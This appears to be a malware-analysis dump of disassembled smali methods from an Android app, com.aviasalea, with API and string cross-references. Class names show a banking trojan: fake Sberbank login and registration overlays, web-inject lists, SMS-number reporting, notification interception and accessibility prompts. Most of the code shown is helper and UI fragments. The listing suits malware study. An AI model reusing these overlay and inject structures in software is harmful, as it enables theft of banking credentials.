                                      • java.lang.Object.<init>
                                      • java.util.ArrayList.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "name" # Ljava/lang/String;
                                      1.param p2, "type" # Ljava/lang/String;
                                      2.param p3, "link" # Ljava/lang/String;
                                      3.param p4, "apps" # Lorg/json/JSONArray;
                                      4.annotation system Ldalvik/annotation/Throws;
                                      5value = {
                                      6Ljava/lang/Exception;
                                      7}
                                      8.end annotation
                                      9.prologue
                                      11invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      12new-instance v0, Ljava/util/ArrayList;
                                      14invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                      15iput-object v0, p0, Lcom/aviasalea/wb/WITools$Inj;->apps:Ljava/util/List;
                                      16iput-object p1, p0, Lcom/aviasalea/wb/WITools$Inj;->name:Ljava/lang/String;
                                      17iput-object p2, p0, Lcom/aviasalea/wb/WITools$Inj;->type:Ljava/lang/String;
                                      18iput-object p3, p0, Lcom/aviasalea/wb/WITools$Inj;->link:Ljava/lang/String;
                                      20invoke-virtual {p0, p4}, Lcom/aviasalea/wb/WITools$Inj;->setApps(Lorg/json/JSONArray;)V
                                      21return-void
                                      Cross References
                                      APIs
                                      • java.net.HttpURLConnection.getResponseMessage
                                      • java.io.IOException.printStackTrace
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      3move-result-object v0
                                      4if-nez v0, :cond_9
                                      6const-string v2, ""
                                      7goto_8: return-object v2
                                      8try_start_9:
                                      9invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      10move-result-object v2
                                      12invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getResponseMessage()Ljava/lang/String;
                                      13try_end_10: move-result-object v2
                                      14goto/16 :goto_8
                                      15catch_12: move-exception v1
                                      17invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                      19const-string v2, ""
                                      20goto/16 :goto_8
                                      APIs
                                      • android.os.Handler.<init>
                                      • android.os.Handler.postDelayed
                                      Position Instruction Meta Information
                                      0.param p1, "runnable" # Ljava/lang/Runnable;
                                      1.param p2, "seconds" # I
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mPostDelayTempHandler:Landroid/os/Handler;
                                      5if-nez v0, :cond_10
                                      6new-instance v0, Landroid/os/Handler;
                                      7const/4 v1, 0x3
                                      9invoke-virtual {p0, v1}, Lcom/aviasalea/api/thread/ThreadManager;->getLooper(I)Landroid/os/Looper;
                                      10move-result-object v1
                                      12invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                                      13iput-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mPostDelayTempHandler:Landroid/os/Handler;
                                      14cond_10:
                                      15iget-object v0, p0, Lcom/aviasalea/api/thread/ThreadManager;->mPostDelayTempHandler:Landroid/os/Handler;
                                      16mul-int/lit16 v1, p2, 0x3e8
                                      17int-to-long v2, v1
                                      19invoke-virtual {v0, p1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                      20return-void
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • java.util.List.add
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/lang/Class",
                                      4"<*>;)",
                                      5"Lde/greenrobot/event/EventBusBuilder;"
                                      6}
                                      7.end annotation
                                      8.prologue
                                      10iget-object v0, p0, Lde/greenrobot/event/EventBusBuilder;->skipMethodVerificationForClasses:Ljava/util/List;
                                      11if-nez v0, :cond_b
                                      12new-instance v0, Ljava/util/ArrayList;
                                      14invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                      15iput-object v0, p0, Lde/greenrobot/event/EventBusBuilder;->skipMethodVerificationForClasses:Ljava/util/List;
                                      16cond_b:
                                      17iget-object v0, p0, Lde/greenrobot/event/EventBusBuilder;->skipMethodVerificationForClasses:Ljava/util/List;
                                      19invoke-interface {v0, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      20return-object p0
                                      Cross References
                                      APIs
                                      Strings
                                      • sms_numbers
                                      • end
                                      Position Instruction Meta Information
                                      0.param p1, "requestRepeatTimeout" # J
                                      1.prologue
                                      2new-instance v0, Lcom/aviasalea/srs/api/requests/SendReportRequest;
                                      3const/16 v1, 0x15
                                      4new-instance v2, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      6const-string v3, "sms_numbers"
                                      7iget-wide v4, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      9const-string v6, "end"
                                      11invoke-direct {v2, v3, v4, v5, v6}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;JLjava/lang/String;)V
                                      13invoke-direct {v0, p0, v1, v2, p0}, Lcom/aviasalea/srs/api/requests/SendReportRequest;-><init>(Landroid/content/Context;ILcom/aviasalea/srs/api/requests/data/ReportData;Lcom/aviasalea/api/request/HttpResponseHandler;)V
                                      15invoke-static {}, Lcom/aviasalea/api/request/HTTPServer;->getInstance()Lcom/aviasalea/api/request/HTTPServer;
                                      16move-result-object v1
                                      18invoke-virtual {v1, v0, p1, p2}, Lcom/aviasalea/api/request/HTTPServer;->doRequestDelayed(Lcom/aviasalea/api/request/HttpRequest;J)V
                                      19return-void
                                      Cross References
                                      APIs
                                      • android.webkit.WebViewClient.<init>
                                      • java.util.concurrent.TimeUnit.SECONDS:Ljava/util/concurrent/TimeUnit
                                      • java.util.concurrent.TimeUnit.toMillis
                                      Position Instruction Meta Information
                                      0.param p1, "callback" # Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;
                                      1.prologue
                                      2const/4 v4, 0x0
                                      4invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
                                      6sget-object v0, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
                                      7const-wide/16 v2, 0x2d
                                      9invoke-virtual {v0, v2, v3}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
                                      10move-result-wide v0
                                      11iput-wide v0, p0, Lcom/aviasalea/wb/CustomWVClient;->LOADING_ERROR_TIMEOUT:J
                                      12iput-boolean v4, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      13iput-boolean v4, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      14new-instance v0, Lcom/aviasalea/wb/CustomWVClient$2;
                                      16invoke-direct {v0, p0}, Lcom/aviasalea/wb/CustomWVClient$2;-><init>(Lcom/aviasalea/wb/CustomWVClient;)V
                                      17iput-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable;
                                      18iput-object p1, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnWVClicentCallback:Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;
                                      19return-void
                                      Cross References
                                      APIs
                                      • java.lang.Integer.valueOf
                                      • java.util.Map.put
                                      Position Instruction Meta Information
                                      0.param p2, "msgId" # I
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Ljava/lang/Class",
                                      5"<+",
                                      6"Ljava/lang/Throwable;",
                                      7">;I)",
                                      8"Lde/greenrobot/event/util/ExceptionToResourceMapping;"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13iget-object v0, p0, Lde/greenrobot/event/util/ExceptionToResourceMapping;->throwableToMsgIdMap:Ljava/util/Map;
                                      15invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      16move-result-object v1
                                      18invoke-interface {v0, p1, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      19return-object p0
                                      APIs
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.injs.s.views.KeyboardView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/support/annotation/NonNull;
                                      2.end annotation
                                      3.end param
                                      4.param p2, "attrs" # Landroid/util/AttributeSet;
                                      5.annotation build Landroid/support/annotation/Nullable;
                                      6.end annotation
                                      7.end param
                                      8.param p3, "defStyleAttr" # I
                                      9.param p4, "defStyleRes" # I
                                      10.annotation build Landroid/annotation/TargetApi;
                                      11value = 0x15
                                      12.end annotation
                                      13.prologue
                                      15invoke-direct {p0, p1, p2, p3, p4}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;II)V
                                      17invoke-direct {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->initUI()V
                                      18return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.util.Map.put
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.prologue
                                      3iget-object v1, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      4monitor-enter v1
                                      5try_start_3:
                                      6iget-object v0, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      8invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      9move-result-object v2
                                      11invoke-interface {v0, v2, p1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      12monitor-exit v1
                                      13try_end_d:
                                      14invoke-virtual {p0, p1}, Lde/greenrobot/event/EventBus;->post(Ljava/lang/Object;)V
                                      15return-void
                                      16catchall_11: move-exception v0
                                      17try_start_12: monitor-exit v1
                                      18try_end_13: throw v0
                                      Cross References
                                      APIs
                                      • java.net.HttpURLConnection.getResponseCode
                                      • java.io.IOException.printStackTrace
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v2, -0x1
                                      3invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      4move-result-object v0
                                      5if-nez v0, :cond_8
                                      6goto_7: return v2
                                      7try_start_8:
                                      8invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      9move-result-object v3
                                      11invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                      12try_end_f: move-result v2
                                      13goto/16 :goto_7
                                      14catch_11: move-exception v1
                                      16invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                      17goto/16 :goto_7
                                      APIs
                                      • com.aviasalea.injs.s.SLogActivity.getString
                                      • com.aviasalea.injs.s.SLogActivity.getString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      5const v2, 0x7f0a0023
                                      7invoke-virtual {v1, v2}, Lcom/aviasalea/injs/s/SLogActivity;->getString(I)Ljava/lang/String;
                                      8move-result-object v1
                                      10iget-object v2, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      11const v3, 0x7f0a001e
                                      13invoke-virtual {v2, v3}, Lcom/aviasalea/injs/s/SLogActivity;->getString(I)Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v0, v1, v2}, Lcom/aviasalea/ds/SValDialogs;->showDialog(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      17return-void
                                      APIs
                                      • com.aviasalea.injs.s.SLogActivity.getString
                                      • com.aviasalea.injs.s.SLogActivity.getString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      5const v2, 0x7f0a0023
                                      7invoke-virtual {v1, v2}, Lcom/aviasalea/injs/s/SLogActivity;->getString(I)Ljava/lang/String;
                                      8move-result-object v1
                                      10iget-object v2, p0, Lcom/aviasalea/injs/s/SLogActivity$1;->this$0:Lcom/aviasalea/injs/s/SLogActivity;
                                      11const v3, 0x7f0a0020
                                      13invoke-virtual {v2, v3}, Lcom/aviasalea/injs/s/SLogActivity;->getString(I)Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v0, v1, v2}, Lcom/aviasalea/ds/SValDialogs;->showDialog(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      17return-void
                                      APIs
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      5const v2, 0x7f0a0023
                                      7invoke-virtual {v1, v2}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      8move-result-object v1
                                      10iget-object v2, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      11const v3, 0x7f0a001f
                                      13invoke-virtual {v2, v3}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v0, v1, v2}, Lcom/aviasalea/ds/SValDialogs;->showDialog(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      17return-void
                                      APIs
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      5const v2, 0x7f0a0023
                                      7invoke-virtual {v1, v2}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      8move-result-object v1
                                      10iget-object v2, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      11const v3, 0x7f0a001f
                                      13invoke-virtual {v2, v3}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v0, v1, v2}, Lcom/aviasalea/ds/SValDialogs;->showDialog(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      17return-void
                                      APIs
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      • com.aviasalea.injs.s.SRegActivity.getString
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      5const v2, 0x7f0a0023
                                      7invoke-virtual {v1, v2}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      8move-result-object v1
                                      10iget-object v2, p0, Lcom/aviasalea/injs/s/SRegActivity$1;->this$0:Lcom/aviasalea/injs/s/SRegActivity;
                                      11const v3, 0x7f0a001d
                                      13invoke-virtual {v2, v3}, Lcom/aviasalea/injs/s/SRegActivity;->getString(I)Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v0, v1, v2}, Lcom/aviasalea/ds/SValDialogs;->showDialog(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      17return-void
                                      APIs
                                      • android.util.DisplayMetrics.<init>
                                      • android.graphics.Point.<init>
                                      • com.aviasalea.Realtalk.applicationContext:Landroid/content/Context
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Landroid/util/DisplayMetrics;
                                      3invoke-direct {v0}, Landroid/util/DisplayMetrics;-><init>()V
                                      4sput-object v0, Lcom/aviasalea/checktls/AndroidUtilities;->displayMetrics:Landroid/util/DisplayMetrics;
                                      5new-instance v0, Landroid/graphics/Point;
                                      7invoke-direct {v0}, Landroid/graphics/Point;-><init>()V
                                      8sput-object v0, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      9const/high16 v0, 0x3f800000 # 1.0f
                                      10sput v0, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      12sget-object v0, Lcom/aviasalea/Realtalk;->applicationContext:Landroid/content/Context;
                                      13const/4 v1, 0x0
                                      15invoke-static {v0, v1}, Lcom/aviasalea/checktls/AndroidUtilities;->checkDisplaySize(Landroid/content/Context;Landroid/content/res/Configuration;)V
                                      16return-void
                                      Cross References
                                      APIs
                                      • android.telephony.SubscriptionManager.from
                                      • android.telephony.SubscriptionManager.getActiveSubscriptionInfoCount
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const/4 v1, 0x1
                                      3const/4 v0, 0x0
                                      4sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      5const/16 v3, 0x16
                                      6if-ge v2, v3, :cond_9
                                      7goto_8: return v0
                                      8cond_9:
                                      9invoke-static {p0}, Landroid/telephony/SubscriptionManager;->from(Landroid/content/Context;)Landroid/telephony/SubscriptionManager;
                                      10move-result-object v2
                                      12invoke-virtual {v2}, Landroid/telephony/SubscriptionManager;->getActiveSubscriptionInfoCount()I
                                      13move-result v2
                                      14if-le v2, v1, :cond_8
                                      15move v0, v1
                                      16goto/16 :goto_8
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView
                                      • com.aviasalea.base.dialog.LineProgressView.setProgress
                                      • com.aviasalea.base.dialog.AlertDialog.updateLineProgressTextView
                                      Position Instruction Meta Information
                                      0.param p1, "progress" # I
                                      1.prologue
                                      2iput p1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->currentProgress:I
                                      4iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      5if-eqz v0, :cond_13
                                      7iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      8int-to-float v1, p1
                                      9const/high16 v2, 0x42c80000 # 100.0f
                                      10div-float/2addr v1, v2
                                      11const/4 v2, 0x1
                                      13invoke-virtual {v0, v1, v2}, Lcom/aviasalea/base/dialog/LineProgressView;->setProgress(FZ)V
                                      15invoke-direct {p0}, Lcom/aviasalea/base/dialog/AlertDialog;->updateLineProgressTextView()V
                                      16cond_13: return-void
                                      APIs
                                      • com.aviasalea.ds.AccOnDialog.access$000
                                      • com.aviasalea.ds.AccOnDialog.destroyDialog
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Landroid/content/DialogInterface;
                                      1.param p2, "which" # I
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/ds/AccOnDialog$1;->this$0:Lcom/aviasalea/ds/AccOnDialog;
                                      6invoke-static {v0}, Lcom/aviasalea/checktls/IntTls;->minimizeApp(Landroid/content/Context;)V
                                      8iget-object v0, p0, Lcom/aviasalea/ds/AccOnDialog$1;->this$0:Lcom/aviasalea/ds/AccOnDialog;
                                      10iget-object v1, p0, Lcom/aviasalea/ds/AccOnDialog$1;->this$0:Lcom/aviasalea/ds/AccOnDialog;
                                      12invoke-static {v1}, Lcom/aviasalea/ds/AccOnDialog;->access$000(Lcom/aviasalea/ds/AccOnDialog;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      13move-result-object v1
                                      15invoke-virtual {v0, v1}, Lcom/aviasalea/ds/AccOnDialog;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      16return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.applicationHandler:Landroid/os/Handler
                                      • android.os.Handler.post
                                      • com.aviasalea.Realtalk.applicationHandler:Landroid/os/Handler
                                      • android.os.Handler.postDelayed
                                      Position Instruction Meta Information
                                      0.param p0, "runnable" # Ljava/lang/Runnable;
                                      1.param p1, "delay" # J
                                      2.prologue
                                      3const-wide/16 v0, 0x0
                                      4cmp-long v0, p1, v0
                                      5if-nez v0, :cond_c
                                      7sget-object v0, Lcom/aviasalea/Realtalk;->applicationHandler:Landroid/os/Handler;
                                      9invoke-virtual {v0, p0}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
                                      10goto_b: return-void
                                      11cond_c:
                                      12sget-object v0, Lcom/aviasalea/Realtalk;->applicationHandler:Landroid/os/Handler;
                                      14invoke-virtual {v0, p0, p1, p2}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                      15goto/16 :goto_b
                                      Cross References
                                      APIs
                                      • android.service.notification.StatusBarNotification.getPackageName
                                      • com.aviasalea.Realtalk.hasNotCurPackage
                                      Position Instruction Meta Information
                                      0.param p1, "sbn" # Landroid/service/notification/StatusBarNotification;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7const/4 v0, 0x0
                                      9invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPackageName()Ljava/lang/String;
                                      10move-result-object v1
                                      11if-eqz v1, :cond_b
                                      13invoke-static {v1}, Lcom/aviasalea/Realtalk;->hasNotCurPackage(Ljava/lang/String;)Z
                                      14move-result v0
                                      15cond_b: return v0
                                      APIs
                                      • java.util.ArrayList.size
                                      • java.util.ArrayList.get
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Lcom/aviasalea/ping/IPTools;->getLocalIPv4Addresses()Ljava/util/ArrayList;
                                      3move-result-object v0
                                      5invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                                      6move-result v1
                                      7if-lez v1, :cond_12
                                      8const/4 v1, 0x0
                                      10invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                      11move-result-object v1
                                      12check-cast v1, Ljava/net/InetAddress;
                                      13goto_11: return-object v1
                                      14cond_12: const/4 v1, 0x0
                                      15goto/16 :goto_11
                                      Cross References
                                      APIs
                                      • android.os.Handler.obtainMessage
                                      • android.os.Handler.sendMessageDelayed
                                      Position Instruction Meta Information
                                      0.param p1, "request" # Lcom/aviasalea/api/request/HttpRequest;
                                      1.param p2, "delay" # J
                                      2.prologue
                                      4iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer;->mCallHandler:Landroid/os/Handler;
                                      6invoke-virtual {v1}, Landroid/os/Handler;->obtainMessage()Landroid/os/Message;
                                      7move-result-object v0
                                      8const/4 v1, 0x0
                                      9iput v1, v0, Landroid/os/Message;->what:I
                                      10iput-object p1, v0, Landroid/os/Message;->obj:Ljava/lang/Object;
                                      12iget-object v1, p0, Lcom/aviasalea/api/request/HTTPServer;->mCallHandler:Landroid/os/Handler;
                                      14invoke-virtual {v1, v0, p2, p3}, Landroid/os/Handler;->sendMessageDelayed(Landroid/os/Message;J)Z
                                      15return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$2;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$2;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;->onRegister()V
                                      15cond_11: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$3;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$3;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;->onCancel()V
                                      15cond_11: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      • com.aviasalea.injs.s.views.SLogView.access$100
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$4;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SLogView$4;->this$0:Lcom/aviasalea/injs/s/views/SLogView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SLogView;->access$100(Lcom/aviasalea/injs/s/views/SLogView;)Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SLogView$OnSberLoginCallback;->onEnter()V
                                      15cond_11: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$5;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$5;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;->onScan()V
                                      15cond_11: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$6;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_11
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$6;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      12move-result-object v0
                                      14invoke-interface {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;->onBack()V
                                      15cond_11: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
